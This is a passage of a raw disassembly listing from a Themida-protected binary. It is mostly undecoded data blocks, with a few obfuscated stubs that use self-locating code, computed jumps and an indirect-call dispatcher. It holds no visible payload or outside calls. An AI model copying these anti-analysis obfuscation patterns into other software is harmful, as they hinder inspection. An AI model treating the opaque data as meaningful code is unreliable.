7EB4E78h jmp loc_58A287 ; --------------------------------------------------------------------------- push ecx jns short loc_5F60E0 retn ; --------------------------------------------------------------------------- dw 0D4ADh dd 2E0A20B4h, 8B6A8014h, 0F2CDE377h, 836942D6h, 3FD3EFCAh dd 9D314F29h, 0FF93A987h, 60F40CE9h, 0FB80FDADh, 5713A99Bh dd 79568312h, 7E5B2961h, 0DCB3D266h, 0BE482D2h, 8C18B3EBh dd 0A78597AFh, 0A6B3A02Ah, 4D85EE13h, 0A6B4DFA0h, 2B5B6C13h dd 78098C73h ; --------------------------------------------------------------------------- loc_5F60E0: ; CODE XREF: Themida_:005F6087j fmul dword ptr [ecx+59h] ; --------------------------------------------------------------------------- db 0 dd 0CB690000h, 39ED6EEh, 30921CF1h, 42A0CCB3h, 0AD2A8A14h dd 1442A0D6h, 0B0C21B84h, 5CAC028Dh, 0A6A929DFh, 467EE713h dd 0A6A9E699h, 6573113h, 80B81129h, 84BCD6B2h, 0CF4EF6CDh dd 267ED7F5h, 0D22D5115h, 0C4D87808h, 1F314926h, 0E080h dd 4F2EA000h, 8820A4B3h, 92815668h, 0A0CCB330h, 218A1442h dd 18F50Fh, 31FFAC8h, 0D520FDCBh, 7C55E1F7h, 0FDCB035Ch dd 7F740820h, 1442A416h, 55EACB3Dh, 8D549B79h, 0D30B2501h dd 2F0C2638h, 0BA98317h, 45E0182Ch, 0B3C5DBB9h, 6CA4BC99h dd 64B4FA95h, 0A6326DE7h, 7ACA3313h, 3AE49B18h, 97213A6h dd 0D9B6D5F7h, 4C6240DEh, 690E7914h, 0E513A63Ah, 3A730885h dd 76DF13A6h, 0F774C41Dh, 1440D3F4h, 630151BAh, 0FED86C88h dd 326A8460h, 906B8597h, 0FC592074h, 0D2126235h, 12FE4Ch dd 0A6C8A000h, 323FC12h, 637D596Fh, 0C6DAB9CFh, 25411C32h dd 1932B891h, 788E223Eh, 0D6EC809Eh, 384EE2F8h, 0FCAF435Bh dd 9D28CF4Ch, 61A613A9h, 5F7B56D2h, 0B9D8B5CBh, 24635BF8h dd 0FD91EA29h, 39424D2Ch, 0DCB9455Bh, 98F18CC4h, 0A905CB48h dd 6AD313A6h, 0A9FA8532h, 405113A6h, 76F35504h, 13A6A981h dd 7C58E44Dh, 8A755062h, 0CD87808h, 3B360E9Ah, 0DFF1487Bh dd 0BE40h, 0F4926900h, 0F58A0718h, 611442A0h, 99679FF8h dd 0D36EA6BAh, 714E687Ah, 78532159h, 0FA324E29h, 0DEF6D35Fh dd 49BB4D85h, 0B2B8652Dh, 1710221Eh, 1442FE8Eh, 10A4BC99h dd 0BEFE1DFAh, 451BB333h, 0BF332181h, 69398D6Eh, 8E01D810h dd 5832D020h, 0CD4A283Ah, 13A6324Bh, 0FD1CB019h, 2ECC1C92h dd 45233555h, 40DCE8C8h, 0C1117A14h, 982C4823h, 378BA782h dd 6236004Ch, 46DF333h, 9A000012h, 0F60CA0C2h, 5369FD1Dh dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A99E32h, 56CC5BA0h dd 0F1CB5F7Bh, 265E7653h, 825F798Bh, 5605D66Ah, 97296179h dd 0F0021EF9h, 0CFAEF9D6h, 8FE883BBh, 0EF09E5FBh, 0E22019Fh dd 8B6836FCh, 77B8DF73h, 0DD9EF1h, 0BC15B0E8h, 916C0A6Ch dd 8C17B76Eh, 0A63C44Bh, 0E951FFF8h, 96FF13A6h, 26FF9D8Dh dd 1FBF406h, 8BE42C00h, 0F85AAA04h, 2C62847Bh, 89E952EBh dd 6715C80Ah, 0A17F9141h, 0C8F7D224h, 0DF1780ECh, 724DEB4Dh dd 18831E56h, 1310C763h, 517486EFh, 0A320703Eh, 14F7777Fh dd 0D7F5AC1Eh, 3DB1B846h, 47A7D22Dh, 6DFD284h, 9C7B8DE6h dd 6845E333h, 0C9A6BC50h, 0D1305DB1h, 236362C6h, 111E9Dh dd 86A88000h, 0E303DCF2h, 435D394Fh, 0A6BA99AFh, 521FC12h dd 0F9529871h, 586E021Eh, 0B6CC607Eh, 182EC2D8h, 0DC8F233Bh dd 9FC8AF2Ch, 418613A9h, 0B33092B2h, 1442A0CCh, 0F50F218Ah dd 0F1C80018h, 9FD0099Eh, 0F9B543DBh, 1DD350A0h, 0DC13A6EFh dd 2F06FD7Ah, 6BD413A6h, 0C1117A59h, 0F42C4823h, 6254759h dd 58D52589h, 14420A52h, 8DA78321h, 0C9A8BA55h, 807B2860h dd 471B8A15h, 0B14E0E36h, 26D0935Ch, 32h, 0E432D446h, 25767FD3h dd 424D3E13h, 3B9F1C6Ch, 5913A6EFh, 2402A0F0h, 0F8857A0Eh dd 1F13A6F0h, 80962A42h, 9E3C8CA2h, 0D298AAC0h, 10664Ch dd 0F492DB00h, 0C017FA15h, 0A98DA104h, 0CEE8C450h, 0B8F699BCh dd 0E703EB68h, 35D113A9h, 69043C5Ch, 4522C010h, 0F2D01FFAh dd 962A83DCh, 538BA380h, 4B9B137Ch, 422D45CEh, 50A00914h dd 41748CDEh, 617358F1h, 0F008E583h, 92902A0h, 0E2BFD5F7h dd 0D4BB92CAh, 8A288ADAh, 8C5A92B0h, 0C66199ADh, 44625B6Dh dd 121C70C4h, 0F54255A9h, 25655A46h, 0FF29Fh, 0B2D4AC00h dd 0F2F081Eh, 6F89657Bh, 0D2E6C5DBh, 314D283Eh, 253EC49Dh dd 849A2E4Ah, 0E2F88CAAh, 445AEE04h, 8BB4F67h, 0E024DB58h dd 6DB213A9h, 0A08477DEh, 89061442h, 0C663D525h, 7A9F8597h dd 48809A76h, 644254ADh, 0A98664E7h, 71C12A13h, 7898710Fh dd 7F937240h, 4153AC47h, 9E324A27h, 5B93AB88h, 0F09C0B84h dd 137221B4h, 6D0B5BB4h, 0CE7B6F92h, 0E5254152h, 0A7B9548Ch dd 0C6864CC9h, 0B854144Dh, 1367C0DEh, 62320A8Eh, 6067ED2Dh dd 3E00000Fh, 9AB04466h, 0F70DA1C1h, 576D011Bh, 0BAD06478h dd 562FC3DFh, 0C0DCB790h, 1E3C162Ch, 8096748Ah, 0E1F9D6ECh dd 6DEA9A4Dh, 13A9E096h, 9270FF44h, 0A0CCB330h, 218A1442h dd 18F50Fh, 94783EB0h, 9562FEDh, 7486A27Dh, 0EB03E0AEh dd 0F2B26FB3h, 5B2F35CAh, 91CA2E0h, 4DCB0000h, 435D3942h dd 1F1D9AEAh, 6E13A99Ah, 0A4DCF2D0h, 0AF18F709h, 0CCE4C15Fh dd 6E6F0A7Ch, 4C1D547Ch, 0A03E183Ah, 0D772AAC4h, 83CEABC5h dd 0BC578FA5h, 0FD7E2B63h, 0D13A9F0h, 31DF982h, 87D730CBh dd 4DDC440Ah, 55A91214h, 62320456h, 0B0B33979h, 0EE00000Eh dd 4A60F416h, 0A7BD5171h, 71DB1CBh, 6A801428h, 6DF738Fh dd 708C67E0h, 0CEECC6DCh, 3046243Ah, 91A9869Ch, 1D9A4AFDh dd 13A9E166h, 5620AFF4h, 5B296179h, 0DF26F7Eh, 0C91442A0h dd 8BCF0760h, 19E696CEh, 0BEE05C1Dh, 87Ah, 0A08477E7h dd 89061442h, 5A37D525h, 0D5523042h, 13A99A97h, 4AACFC65h dd 720986E8h, 0E013A99Ah, 9A770C77h, 7AE313A9h, 59714E68h dd 0BAD2AFC5h, 0D3E4AB82h, 0A99AA156h, 0B5912D13h, 6FC8639Bh dd 0C664C616h, 1E12CCE7h, 65501FA3h, 2739D40Ch, 4D6B782Eh dd 79CD3614h, 62316D3Ch, 0E167A7h, 9E00000Eh, 0FA10A4C6h dd 576D0121h, 0B7CD617Bh, 1A30C4D8h, 0B68F233Fh, 203C1730h dd 7E9C768Ch, 0E0F6D4EAh, 4159364Ch, 0CD4AFAADh, 13A9E236h dd 56D05FA4h, 5B296179h, 602E667Eh, 612F6787h, 43573687h dd 24FBB2EAh, 820FD60h, 0DADC35D0h, 0CA35691Dh, 0BE05C1Dh dd 7BEh, 9AAE8D2Bh, 81A300Eh, 18F49233h, 0C6C9ECFEh, 742698E8h dd 0AF12B999h, 17947284h, 13A9C8B6h, 650353BCh, 0C6DC7088h dd 0E381D1E9h, 15DBED07h, 0EF09E583h, 110A1CB7h, 13A92D6Eh dd 6FBFEFA0h, 48916F0Dh, 0E5F7506Eh, 4D0126ECh, 378BF414h dd 6231C788h, 4CA92F6Fh, 5200000Dh, 0AEC4587Ah, 0B21B5D5h dd 6B81152Fh, 0CEE4788Ch, 6A43D7F3h, 0D4F0CB84h, 32502A40h dd 94AA889Eh, 0F50DEA00h, 81FEAE61h, 13A9E2FAh, 92841358h dd 0EBFD19F4h, 0A4DCF4D1h, 0A9E1F9D6h, 0AEE6FEDBh, 0B5ED01E0h dd 5D1551D4h, 0B6E69E5Bh, 0E05C1D49h, 70D8Eh, 8177B700h dd 0B1442A0h, 53312384h, 79339970h, 753D020h, 0D513A9D2h dd 0A17E1C6Ch, 2DFF589h, 0CF7F10E3h, 0BA5E99C7h, 6F1676EFh dd 0A429B30h, 514B5C33h, 0BBDBB450h, 0C2FA0C5Bh, 0C69C1969h dd 94144D99h, 39F2D72Bh, 0D9196232h, 0CA653h, 0FE20F800h dd 5B7B546Ah, 0BBD5B1C7h, 1E321127h, 7D99748Ah, 71EA10E9h dd 0D0E67A96h, 2E44D8F6h, 90A63A50h, 54079BB3h, 0E35027A4h dd 0B9FE13A9h, 0AE20922Ah, 4C22E7E0h, 8DC5E3BDh, 0CC4999F2h dd 1442DC37h, 0E283AA3h, 13E11931h, 0F50FEB36h, 1C26649Ch dd 788AA07Eh, 0D7B4ABDBh, 0AB542BBFh, 2CE05B95h, 183h dd 0BBCFAE4Ch, 7956D4A9h, 7E5B2961h, 9E781666h, 9BAD4880h dd 79355A79h, 0B322AC29h, 77013A6h, 69DB3DCFh, 0CA09163Eh dd 8A71DC93h, 4813A620h, 2BD4CDDFh, 0A013A620h, 58A7D78Fh dd 3ED8779Dh, 5AAAC4A0h, 0A62826DDh, 394BB413h, 579Ah dd 424DC300h, 0D455B39h, 0DEA52272h, 7C1442A0h, 0ED6ABA13h dd 13A6A927h, 637D59F5h, 0FF37902Bh, 0A6A9A952h, 0F50DEA13h dd 0F715EFBDh, 0CBB02DBFh, 8713A6A9h, 92D2A91Eh, 317586DEh dd 7808728Dh, 0D163D8h, 21830000h, 0F3989CAFh, 349F85B9h dd 13A69C4Fh, 0BB90A20Bh, 29617956h, 2C64805Bh, 91DFC9Ah dd 0CFAA36D1h, 0AA87A1B3h, 0AF8C5A92h, 0BD6EA490h, 80D92D5Fh dd 0F6FEF7ECh, 0AC891442h, 0AEE10094h, 0B04EB000h, 4F2CB8D6h dd 5264FF37h, 0A4EEFB59h, 0D0208913h, 0EB3B5732h, 30770C89h dd 7AE313A5h, 55304668h, 0EFEEE539h, 0F1316A19h, 0B3A6Bh dd 6A8C6400h, 0C7E7C0D6h, 27411D33h, 8A9E7D93h, 0E905E0F6h dd 0DD767C55h, 3C52E602h, 9AB04462h, 0FC12A6BCh, 0C073071Fh dd 0E5EC9310h, 256A13A9h, 5F7B5696h, 4B30AD0Fh, 0CC1442A0h dd 49FD7EFh, 21D653B3h, 0AD1442A0h, 0B7D9EB44h, 38B5C4A1h dd 1442A043h, 7B99730Fh, 0F64FA843h, 152908A6h, 5610E103h dd 5B296179h, 0F8D2667Eh, 2E667C5Ah, 0AADD3393h, 0D2005A3Ch dd 4D4EEC0h, 927D0000h, 8A0718F4h, 1442A0F5h, 679FF861h dd 0F897BACCh, 660466B6h, 665F7189h, 13A6AB90h, 3185CD3Fh dd 8A415A18h, 0F8309978h, 0F0870466h, 5E13A6E2h, 96CEE4C2h dd 9790A2FBh, 13A6E2E4h, 6A125263h, 0D877CF95h, 1F142h dd 83776B00h, 0D1442A0h, 5FDC2C82h, 13A99A29h, 902E7EE7h dd 0F1079BB3h, 0F3880514h, 5F13A99Bh, 0D3659DF6h, 2C3E5A35h dd 0D8288609h, 0EAFDD876h, 0A99B966Dh, 82DB4413h, 95A17770h dd 0FF6F144Dh, 0A966806Fh, 9DFF6E07h, 6833C0D4h, 7B62B60Fh dd 0B8623239h, 0A19F278h, 0AD850000h, 8E1F78Bh, 623E54E8h dd 0BF9EB448h, 260117ABh, 579D760Ah, 730723FEh, 0D165835Dh dd 33C7DDBBh, 9428401Dh, 0CFB431E1h, 8B13A9E6h, 0F492B746h dd 2EC90115h, 0D25021Ch, 0DF2A07D5h, 5A92EB01h, 33B0121Ch dd 1442A04Ch, 0F28FA10Ah, 0D6EECBB2h, 0F20CE886h, 7B0E5E92h dd 7A8C2C96h, 577E8158h, 2F57E05Bh, 80000001h, 0ED6A7956h dd 1442A016h, 0CA025BC4h, 73071FFCh, 51FFB99h, 0EFBFD0F3h dd 0B3A8229Fh, 4AE613A6h, 2F47246Bh, 0F4D09ED6h, 0AE07A2DAh dd 8F701D55h, 813A6B4h, 0E600DC2Fh, 82BA13AEh, 85BDD9B4h dd 8BC77F46h, 3A622233h, 0D87809C5h, 2C12h, 424D3B00h dd 0E99F1C6Ch, 0A813A6A9h, 0E2AC7D36h, 1AA6D8E2h, 3413253Dh dd 15E693CBh, 0B213A669h, 46B9E5A1h, 8FD87748h, 9Dh, 617956B8h dd 64805B29h, 62815E2Ch, 0B2D24A15h, 0C5FD5634h, 6E021AF7h dd 42C98C79h, 0F33E1B14h, 27C2FA1Ah, 741B3ACEh, 87112833h dd 3D96A288h, 2DD270EDh, 2FA113A4h, 4278B921h, 41203222h dd 79B1C7A5h, 973585DEh, 320CA0BCh, 8D9FB794h, 70499873h dd 247D1850h, 1A3517D0h, 6AF0306Ah, 8CFh, 41D5F7CFh, 9E32522Bh dd 0FE92AC88h, 61F509E8h, 0C054704Bh, 6D4801E7h, 0CDA7BD51h dd 27051BAFh, 8A677D11h, 7B2BDE72h, 0A9E779FEh, 190D513h dd 0CB5F7B56h, 2CC0D8B5h, 6179565Bh, 5F7E5B29h, 7FCCCB15h dd 2ABE17FAh, 2995Ch, 424DEB00h, 3DBA1C6Ch, 1442A046h dd 819D7814h, 4355AE49h, 8A650365h, 0F9B366Eh, 10091B31h dd 13A99B60h, 105B82F2h, 59F7A958h, 601BC800h, 0E713A9D4h dd 11EEAED6h, 0C6D8709Dh, 229h, 700784E6h, 0DE13A9D8h dd 778E6375h, 1442A083h, 0DC2C820Dh, 0A99B9B5Fh, 80D03913h dd 9DED05E2h, 5C280D2Bh, 0EE00E148h, 1390F2CCh, 13A92C6Ch dd 556F81EAh, 51286078h, 8C95693Eh, 869CC660h, 0BA60DD2Dh dd 58144DFBh, 1D569BEFh, 0C5056232h, 7EE3Fh, 0B6D8B000h dd 13330C22h, 738D697Fh, 0D6EAC9DFh, 35512C42h, 2922C8A1h dd 889E324Eh, 0E6FC90AEh, 485EF208h, 0CBF536Bh, 0E818DF5Ch dd 71B613A9h, 16F492E2h, 0F7D4EE00h, 0FCD9A7DFh, 0FFDEACE4h dd 8E5B3EBh, 0A0877CF9h, 0EA531442h, 521B5991h, 99625E12h dd 7D9572EDh, 11ED12E9h, 72EAE05Ch, 0A000001h, 66788E6Ch dd 6A795691h, 0A0F48B08h, 0F9621442h, 42A0E98Eh, 0A3FC6514h dd 0A8C09D6Bh, 0C4DEBA58h, 0BDDFF18Ch, 0AC8AF19Eh, 6AC35E96h dd 0B3139D1Ah, 0F86113A6h, 0B46813C0h, 0CEDF13A6h, 919E696h dd 41BED878h, 0E7000000h, 5C39424Dh, 1E9BEB44h, 13A6A968h dd 0E831B626h, 0D590A996h, 0E497447Ch, 6313A658h, 0C9671252h dd 0AAC6A1ECh, 2E7E1951h, 0A658CAB1h, 0D1F8813h, 7719CD32h dd 0CD0AD8h, 8C2A0000h, 0B28799ADh, 29617956h, 6B5D805Bh dd 2F281EAEh, 5D30B64h, 0E503DD28h, 69B912ADh, 9BD3F1CBh dd 7ED7F1CDh, 0FBD8A66Ch, 3C738BDCh, 0AFC0234Fh, 24CF2FFCh dd 5C36C209h, 3395E53Eh, 42A5C1B6h, 98248D14h, 6B8D9FBFh dd 42DF9F76h, 334B2814h, 9F0F809Fh, 3874D24Fh, 990213A4h dd 0B4D0AB49h, 132F0A20h, 1A1A3CBFh, 6DF3336Ah, 697h, 790D2F07h dd 0D66A8A63h, 36CAE4C0h, 992D4120h, 0F88CA883h, 0A580D91Fh dd 5DFF589h, 5F3D53E7h, 0C29FB549h, 0B36316AAh, 0A9E94136h dd 39C80D13h, 0CB5F7B56h, 0E2B9D8B5h, 95954DFDh, 0F1CCA828h dd 7CD552F3h, 0F471D323h, 1442C30Fh, 2E5062CBh, 8E75F254h dd 4C1442C3h, 56FCD1E3h, 0AF116179h, 42A04D32h, 8EA00914h dd 51DFAC8h, 0B8359771h, 1442A0C3h, 4214268Fh, 32h, 617956D1h dd 1CF99729h, 0FBD8F204h, 0CA47ABE3h, 0A7C6A39Ah, 920F91B8h dd 1442ADEDh, 0F5A00069h, 3AC13E5Fh, 98144255h, 0E97DD62Fh dd 421Bh, 7956AA00h, 0DD36542Eh, 997513A5h, 0A0740B88h dd 79E21442h, 0C14DE820h, 0FB96CEE2h, 0A00EF0E9h, 0B0891442h dd 0AD8A5890h, 0B08F5D95h, 1450279Ch, 0BFE7105Ch, 7BCBE3C0h dd 0A0E79C19h, 0A731442h, 5605D6F8h, 52296179h, 8321713Dh dd 671C99A4h, 0F31442A0h, 0C7A5318Ah, 0CCDE79B1h, 9B9D71EEh dd 0EE5713A9h, 0C22009Eh, 0A17E1CFAh, 9B6E1592h, 83EC13A9h dd 0A380962Ah, 137C538Bh, 45CE4B9Bh, 0A1442A1h, 41798D6Ch dd 4CB594A6h, 69815EFCh, 3D19B719h, 0D5C3B823h, 268F1B94h dd 0FFDCF214h, 0B7D8AFE7h, 72CBEBC4h, 8EA88422h, 83219E7Ch dd 0D11C70C2h, 0F3F11468h, 52925A46h, 52ACCh, 7A9C7400h dd 0D7F7D0E6h, 37512D43h, 9AAE8DA3h, 0F915F006h, 0ED668C65h dd 4C62F612h, 0AAC05472h, 0C22B6CCh, 0D083172Fh, 0EBDCA320h dd 357A13A9h, 617956A6h, 7A55F3CDh, 9567EE57h, 0A4FD67D3h dd 6B45D16Ch, 687A154Dh, 4C26714Eh, 0CF9DD52Eh, 0EC8ADAF2h dd 2FC1F90Dh, 4209CDB2h, 0C7208914h, 0E8B1EFB5h, 0CCE4C1BCh dd 689E6138h, 86F8E05Bh, 0BACE60C9h, 0A5445690h, 62h, 39424DCEh dd 0DBE3435Dh, 57B69A30h, 0C44191EAh, 13A6C6DCh, 27C5157Eh dd 5DDA3C49h, 13A6D8A6h, 9B60CB34h, 3713A6D8h, 0B32575CEh dd 0E4FEE09Fh, 976CE933h, 4313A6E6h, 4D6F81DAh, 0DDFBD573h dd 0E62BD2CBh, 0AA813A6h, 3FDA1230h, 1E36132Dh, 8096748Ah dd 455C248h, 0AA480000h, 0DE79B1D1h, 7956F7CCh, 32AF1161h dd 1442A04Dh, 307043FAh, 1F701410h, 10DEA4B6h, 0F10DE833h dd 0F70DEBB9h, 3FCB24BFh, 0A3F34C60h, 87C22C31h, 0D6DA95Fh dd 4A98096h, 224456BCh, 0D2228C03h, 0DFF3D270h, 1FA0CA7h dd 13A6768Fh, 860365C5h, 13A679F1h, 0F289F45Dh, 6013A679h dd 0D4669EF7h, 0D1801462h dd 0A7F77E55h, 0A6F4552Ah, 86980113h, 0A6F4F28Dh, 1C485913h dd 77C99F60h, 4738D8h, 4D610000h, 0BA1C6C42h, 0A024DB58h dd 49B21442h, 0A9883E37h, 0A94713A6h, 0B07EB6CAh, 0E47FB7D7h dd 319A798Bh, 0A9B34CF9h, 5E413A6h, 0CEBB9F1h, 17F2C0F8h dd 2B28C3FBh, 18702064h, 0E01F5F07h, 0F5D87808h, 104h dd 6179561Eh, 49987311h, 0E7F9526Eh, 5C785321h, 19F49224h dd 7D9371FDh, 5C74516Bh, 1BF49224h, 0F2CFE9FBh, 0FA6C46DAh dd 61B34EC6h, 0FA77C7EDh, 14425B05h, 5D5668D1h, 14425F48h dd 9AEA02DFh, 0A0C4BB38h, 32921443h, 43A1CEB5h, 0CA238C14h dd 0A38096B8h, 137C538Bh, 41D94B9Bh, 0CCE2C068h, 0E898106Ch dd 6D7BF8D6h, 3B13A775h, 70A8C49Fh, 0C9E87CD5h, 0BEDAB5C6h dd 15B31565h, 19E71F39h, 51EC243Ch, 45EDE6F8h, 171441A0h dd 9AFC5EAEh, 8E74661Dh, 798BF41Bh, 1868845Fh, 744239B6h dd 0A7101B8Eh, 825D7395h, 0ACFD1266h, 5A9A6234h, 2D6D4h dd 0CEF0C800h, 2B4B243Ah, 8BA58197h, 0EE02E1F7h, 4D69445Ah dd 411AE0B9h, 0A0B64A66h, 0FE14A8C6h, 60760A20h, 24D76B83h dd 0ED00F774h, 89CE13A9h, 2C7B56FAh, 49DD3650h, 64375633h dd 0A8E3CBB2h, 0B28C2079h, 6A1A3514h, 0DB809779h, 6E4355AEh dd 375424Dh, 0ECBD43BEh, 4FB66FEh, 0D2144256h, 43C01069h dd 13A65F8Dh, 0B7D3AE4Ch, 255DC6A5h, 0A65F8778h, 73334413h dd 7712B44Bh, 1970E2D8h, 1920F2C9h, 0C653F204h, 73000000h dd 6DEAF7D5h, 13A64796h, 7082DB44h, 6179569Bh, 64805B29h dd 0A4167F2Ch, 24011442h, 8562780Ch, 49BB1D6Dh, 66574DAh dd 9E65D0FBh, 3C1442C8h, 24FBC1D3h, 76F3436Bh, 13A6C668h dd 0A5BD9A36h, 0E579D26Dh, 95E5C9C6h, 40319F18h, 0DA73E314h dd 22C2B921h, 62C3D434h, 1FA25764h, 0FED876C6h, 0FB0DA8E0h dd 55A47F1Dh, 6F035C7Ch, 0E627E59h, 62366C0Bh, 0D0DA60A0h dd 0CE000001h, 2A40D4F6h, 879D3151h, 0E7FD91ABh, 4A60F408h dd 0E6BF536Fh, 506C4700h, 0AECCA6BCh, 1026041Ah, 7189667Ch dd 0FD7A2ADDh, 13A9EE06h, 56008FD4h, 0F1CB5F7Bh, 0F8E3017Fh dd 0D626D436h, 42AAA259h, 0B5C73014h, 12A6BE9Bh, 0B3309241h dd 1442A0CCh, 0D6AD2A8Ah, 841442A0h, 96B0C21Bh, 0B351A1B9h dd 5230BCD8h, 96642A3Ch, 0F70DA1B9h, 14B2021Ah, 4AE51D39h dd 0F49B7238h, 83ED6ABAh, 5113A6B9h, 22F9B0E8h, 61EFB62h dd 5CEB44B6h, 45336D6Ch, 9DF21133h, 4923C111h, 858F32Bh dd 0A660F48Bh, 0E7F96213h, 7AAA8C09h, 4FB81442h, 6D8361FFh dd 0C2889A35h, 0C7FF17F4h, 0B6BEE663h, 0E785D5D9h, 1EB9F10Bh dd 649CB692h, 5CD9B7C9h, 1C6E61FAh, 758B1F88h, 7A488098h dd 974E869Ch, 0BC9984C0h, 9EF110A4h, 2943C010h, 0A7040A4Ch dd 274063Eh, 0B82B4C2Eh, 0E2FC0EEFh, 0E7B5ED05h, 0E8B6EE0Eh dd 1EB9F10Dh, 8C68B792h, 0A2E11972h, 72E7ABDBh, 246BEB9Bh dd 7BC83A8Ah, 7E5F041Fh, 0D4FC1B60h, 237C06D4h, 54B63311h dd 1B0C37FFh, 16939E7Dh, 3337C061h, 0F32B84EDh, 0FE674658h dd 18F2906Ah, 0C0F18603h, 0F45D3337h, 0B6C8639Bh, 3EBBFC93h dd 3337C0B9h, 353AC15h, 0DCFA9186h, 1C54BD34h, 0C559714Eh dd 82BAD2AFh, 815F19D5h, 0DA4C0A74h, 0A348519Bh, 8421339Eh dd 68805DC0h, 0C9E1BED4h, 0D0E4C391h, 0D1F1CA98h, 0F58A0799h dd 616B410Bh, 788E6CF8h, 0F2B28940h, 933149BEh, 0CD68A0B4h dd 0F7661EBBh, 586E021Ah, 992B637Bh, 0A6BA9937h, 410B443Bh dd 63A2126Bh, 0A0E4A0C0h, 0FE7BCB24h, 6B41E079h, 885A6CD5h dd 3, 563E8D17h, 56245C7Eh, 5B296179h, 612F677Dh, 63316987h dd 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h, 0EE437B9Bh dd 81E28952h, 4C2h, 4EA8300h, 31241433h, 14332414h, 89575C24h dd 4C781E7h, 83000000h, 3C8704EFh, 34895C24h, 66406824h dd 0C890000h, 4EC8124h, 89000000h, 1CB82404h, 3556202Dh dd 188D244Dh, 32A93540h, 0C6894946h, 4EC8358h, 83242489h dd 59042404h, 7FDF68h, 24048900h, 8B8h, 89C80100h, 0C8B5830h dd 0E2895224h, 4C281h, 0C2810000h, 4, 5C241487h, 5324348Bh dd 0C381E389h, 4, 8704C383h, 0E95C241Ch, 0FFF92CF7h, 1774D684h dd 0BFFA271Fh, 2383B9A2h ; --------------------------------------------------------------------------- loc_5F759C: ; CODE XREF: Themida_:loc_5F5FD7j mov eax, 7EB506Dh add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0DAh, 5Dh, 2Ah dd 96E76062h, 1AEAB34Fh, 5D7D0F16h, 0DC1F1939h, 0EFD43033h dd 85DE1705h, 3A150B2Bh, 61ADD73Bh, 7ECB22Bh, 0DAF5FA15h dd 0FB7B9C4Fh, 92850851h, 6212430Ah, 4FAA8827h, 0F492433Fh dd 0F72A082Eh, 93E1B04Fh, 14175E45h, 97DD4E35h, 7C89EA16h dd 2A8D8D7Ah, 6A07EB52h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0BFF9C352h, 4FFD3020h dd 1B718D89h, 896007E4h, 0E4220595h, 21958B07h, 6107E42Ah dd 2DA185C7h, 58D807E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 8436E9C3h, 0C7F9C25Dh dd 0E422B985h, 7, 0C0816600h, 0B5FF925Ah, 7E40A59h, 0C398D681h dd 95FF2548h, 7E43061h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 0A7C35545h, 4259589h, 850F07E4h, 6, 1D6DB58Bh dd 6A07E4h, 0E4195FFh, 0C08B07E4h, 3D2538EBh, 0A1672D0Ch dd 0D0210A55h, 1974F04Dh, 9FEBC69Fh, 0DB0B6BF8h, 75AA4C6Bh dd 5F754031h, 0A43E7AADh, 473DEE69h, 0B048A2FCh, 0E3CFD71Eh dd 2FA2CD83h, 0D2808702h, 5FE990B1h db 1, 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_5F76F7 proc near ; CODE XREF: sub_4068E0+12Bp ; sub_409CA0+1Dp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 7EB5275h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5F784D mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 384C4A89h xor eax, ebx sub eax, 4 mov [ebp+7E41B71h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0C42888CEh xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+7E42DA1h], eax mov eax, [edx+14h] mov [ebp+7E422B9h], eax mov eax, [edx+18h] push ebx jmp loc_5F7811 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E40A59h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E406A5h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E41811h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E40919h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E422FDh] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E41581h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E41E15h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E40AEDh] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E402D5h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E41D49h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E41E8Dh] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E42291h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E41D5Dh] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E42BF1h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E40635h] jmp loc_5F7825 ; --------------------------------------------------------------------------- push dword ptr [ebp+7E40E15h] jmp loc_5F7825 ; --------------------------------------------------------------------------- loc_5F7811: ; CODE XREF: sub_5F76F7+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+7EB52D6h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5F7825: ; CODE XREF: sub_5F76F7+70j ; sub_5F76F7+7Bj ... call dword ptr [ebp+7E43061h] pop ebx loc_5F782C: ; CODE XREF: sub_5F76F7+14Ej mov eax, [ebp+7E41B71h] cmp [eax+4], ebx jnz loc_5F784A push ebx push 1 call dword ptr [ebp+7E40E41h] pop ebx jmp loc_5F782C ; --------------------------------------------------------------------------- loc_5F784A: ; CODE XREF: sub_5F76F7+13Ej popa pop edx retn ; --------------------------------------------------------------------------- loc_5F784D: ; CODE XREF: sub_5F76F7+18j popa pop edx mov eax, 7E41A8ADh jmp eax sub_5F76F7 endp ; --------------------------------------------------------------------------- mov eax, [ebp+7E42169h] lea ecx, [ebp+7EB53C4h] mov [ecx+1], eax mov eax, ebx mov byte ptr [ebp+7E42C2Dh], 56h push 0A9C530DFh push dword ptr [ebp+7E42141h] 